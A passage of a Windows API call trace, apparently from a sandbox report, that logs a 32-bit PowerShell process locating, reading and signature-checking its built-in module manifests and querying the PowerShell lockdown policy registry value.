lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0204.895] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0204.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e7b4) returned 1 [0204.896] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2641a2c | out: lpFileInformation=0x2641a2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0204.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7b0) returned 1 [0204.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0204.896] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0204.896] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.896] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.897] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0204.897] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0204.897] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.897] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0204.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0204.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0204.897] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0204.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0204.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e7b4) returned 1 [0204.898] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x26421f0 | out: lpFileInformation=0x26421f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0204.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7b0) returned 1 [0204.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0204.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0204.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e91c) returned 1 [0204.899] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0204.899] GetFileType (hFile=0x45c) returned 0x1 [0204.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e918) returned 1 [0204.899] GetFileType (hFile=0x45c) returned 0x1 [0204.899] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e958*=0) returned 0x0 [0204.900] ReadFile (in: hFile=0x45c, lpBuffer=0x2643030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e984, lpOverlapped=0x0 | out: lpBuffer=0x2643030*, lpNumberOfBytesRead=0x5a8e984*=0x9e9, lpOverlapped=0x0) returned 1 [0204.901] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e958*=0) returned 0x9e9 [0204.901] ReadFile (in: hFile=0x45c, lpBuffer=0x26425ad, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5a8e984, lpOverlapped=0x0 | out: lpBuffer=0x26425ad*, lpNumberOfBytesRead=0x5a8e984*=0x0, lpOverlapped=0x0) returned 1 [0204.901] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e958*=0) returned 0x9e9 [0204.901] ReadFile (in: hFile=0x45c, lpBuffer=0x2643030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e984, lpOverlapped=0x0 | out: lpBuffer=0x2643030*, lpNumberOfBytesRead=0x5a8e984*=0x0, lpOverlapped=0x0) returned 1 [0204.902] CloseHandle (hObject=0x45c) returned 1 [0205.078] CoCreateGuid (in: pguid=0x5a8ea84 | out: pguid=0x5a8ea84*(Data1=0x68aa1180, Data2=0x92a, Data3=0x4678, Data4=([0]=0x85, [1]=0x35, [2]=0x77, [3]=0x6a, [4]=0xb4, [5]=0x4c, [6]=0xb0, [7]=0x93))) returned 0x0 [0205.078] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x45c [0205.079] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x41c [0205.079] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a4 [0205.079] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x420 [0205.079] SetEvent (hEvent=0x420) returned 1 [0205.080] SetEvent (hEvent=0x45c) returned 1 [0205.080] SetEvent (hEvent=0x41c) returned 1 [0205.080] SetEvent (hEvent=0x3a4) returned 1 [0205.080] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2b4 [0205.080] SetThreadUILanguage (LangId=0x0) returned 0x409 [0205.082] EtwEventActivityIdControl () returned 0x0 [0205.082] EtwEventActivityIdControl () returned 0x0 [0205.082] EtwEventActivityIdControl () returned 0x0 [0205.094] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0205.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e2b0) returned 1 [0205.096] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8e574 | out: lpFileInformation=0x5a8e574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e2ac) returned 1 [0205.096] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0205.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.096] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8e1b8, Length=0x20, ResultLength=0x5a8e228 | out: SystemInformation=0x5a8e1b8, ResultLength=0x5a8e228*=0x0) returned 0xc0000003 [0205.097] GetSystemInfo (in: lpSystemInfo=0x5a8e234 | out: lpSystemInfo=0x5a8e234*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0205.097] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e1c4 | out: phkResult=0x5a8e1c4*=0x2b0) returned 0x0 [0205.098] RegQueryValueExW (in: hKey=0x2b0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8e1e0, lpData=0x0, lpcbData=0x5a8e1dc*=0x0 | out: lpType=0x5a8e1e0*=0x0, lpData=0x0, lpcbData=0x5a8e1dc*=0x0) returned 0x2 [0205.098] RegCloseKey (hKey=0x2b0) returned 0x0 [0205.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e13c) returned 1 [0205.099] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2b0 [0205.099] GetFileType (hFile=0x2b0) returned 0x1 [0205.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e138) returned 1 [0205.099] GetFileType (hFile=0x2b0) returned 0x1 [0205.099] SetFilePointer (in: hFile=0x2b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e178*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e178*=0) returned 0x0 [0205.099] ReadFile (in: hFile=0x2b0, lpBuffer=0x2660380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e1a4, lpOverlapped=0x0 | out: lpBuffer=0x2660380*, lpNumberOfBytesRead=0x5a8e1a4*=0x9e9, lpOverlapped=0x0) returned 1 [0205.100] SetFilePointer (in: hFile=0x2b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e178*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e178*=0) returned 0x9e9 [0205.100] ReadFile (in: hFile=0x2b0, lpBuffer=0x265f909, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5a8e1a4, lpOverlapped=0x0 | out: lpBuffer=0x265f909*, lpNumberOfBytesRead=0x5a8e1a4*=0x0, lpOverlapped=0x0) returned 1 [0205.100] SetFilePointer (in: hFile=0x2b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8e178*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8e178*=0) returned 0x9e9 [0205.100] ReadFile (in: hFile=0x2b0, lpBuffer=0x2660380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8e1a4, lpOverlapped=0x0 | out: lpBuffer=0x2660380*, lpNumberOfBytesRead=0x5a8e1a4*=0x0, lpOverlapped=0x0) returned 1 [0205.101] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a8e10c, Length=0x20, ResultLength=0x5a8e17c | out: SystemInformation=0x5a8e10c, ResultLength=0x5a8e17c*=0x0) returned 0xc0000003 [0205.101] GetSystemInfo (in: lpSystemInfo=0x5a8e188 | out: lpSystemInfo=0x5a8e188*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0205.102] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a8e118 | out: phkResult=0x5a8e118*=0x460) returned 0x0 [0205.102] RegQueryValueExW (in: hKey=0x460, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a8e134, lpData=0x0, lpcbData=0x5a8e130*=0x0 | out: lpType=0x5a8e134*=0x0, lpData=0x0, lpcbData=0x5a8e130*=0x0) returned 0x2 [0205.102] RegCloseKey (hKey=0x460) returned 0x0 [0205.102] CloseHandle (hObject=0x2b0) returned 1 [0205.104] CoCreateGuid (in: pguid=0x5a8e208 | out: pguid=0x5a8e208*(Data1=0x3c811d80, Data2=0xb659, Data3=0x4a1f, Data4=([0]=0xb6, [1]=0x31, [2]=0xdd, [3]=0x5d, [4]=0xcb, [5]=0xad, [6]=0xe, [7]=0xf7))) returned 0x0 [0205.104] QueryPerformanceCounter (in: lpPerformanceCount=0x5a8df68 | out: lpPerformanceCount=0x5a8df68*=1263612714376) returned 1 [0205.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8dc54) returned 1 [0205.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8df18 | out: lpFileInformation=0x5a8df18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8dc50) returned 1 [0205.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8dbe8) returned 1 [0205.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8deac | out: lpFileInformation=0x5a8deac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0205.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8dbe4) returned 1 [0205.106] CoTaskMemAlloc (cb=0x10) returned 0x5b3b5f0 [0205.106] CoTaskMemAlloc (cb=0x10) returned 0x5b3b608 [0205.106] CoTaskMemAlloc (cb=0xf0) returned 0x5b30b40 [0205.106] CoTaskMemAlloc (cb=0x30) returned 0x588298 [0205.106] WinVerifyTrust () returned 0x800b0100 [0205.258] CoTaskMemFree (pv=0x5b3b5f0) [0205.258] CoTaskMemFree (pv=0x588298) [0205.258] CryptCATHandleFromStore () returned 0x54b1b0 [0205.258] WTHelperGetProvSignerFromChain () returned 0x0 [0205.258] CoTaskMemAlloc (cb=0x10) returned 0x5b3b5f0 [0205.258] CoTaskMemAlloc (cb=0x30) returned 0x588298 [0205.258] WinVerifyTrust () returned 0x0 [0205.258] CoTaskMemFree (pv=0x588298) [0205.258] CoTaskMemFree (pv=0x5b3b5f0) [0205.258] CoTaskMemFree (pv=0x5b30b40) [0205.258] CoTaskMemFree (pv=0x5b3b608) [0205.262] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0205.262] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0205.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0205.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0205.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0205.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x5bd230, lpFilePart=0x0 | out: 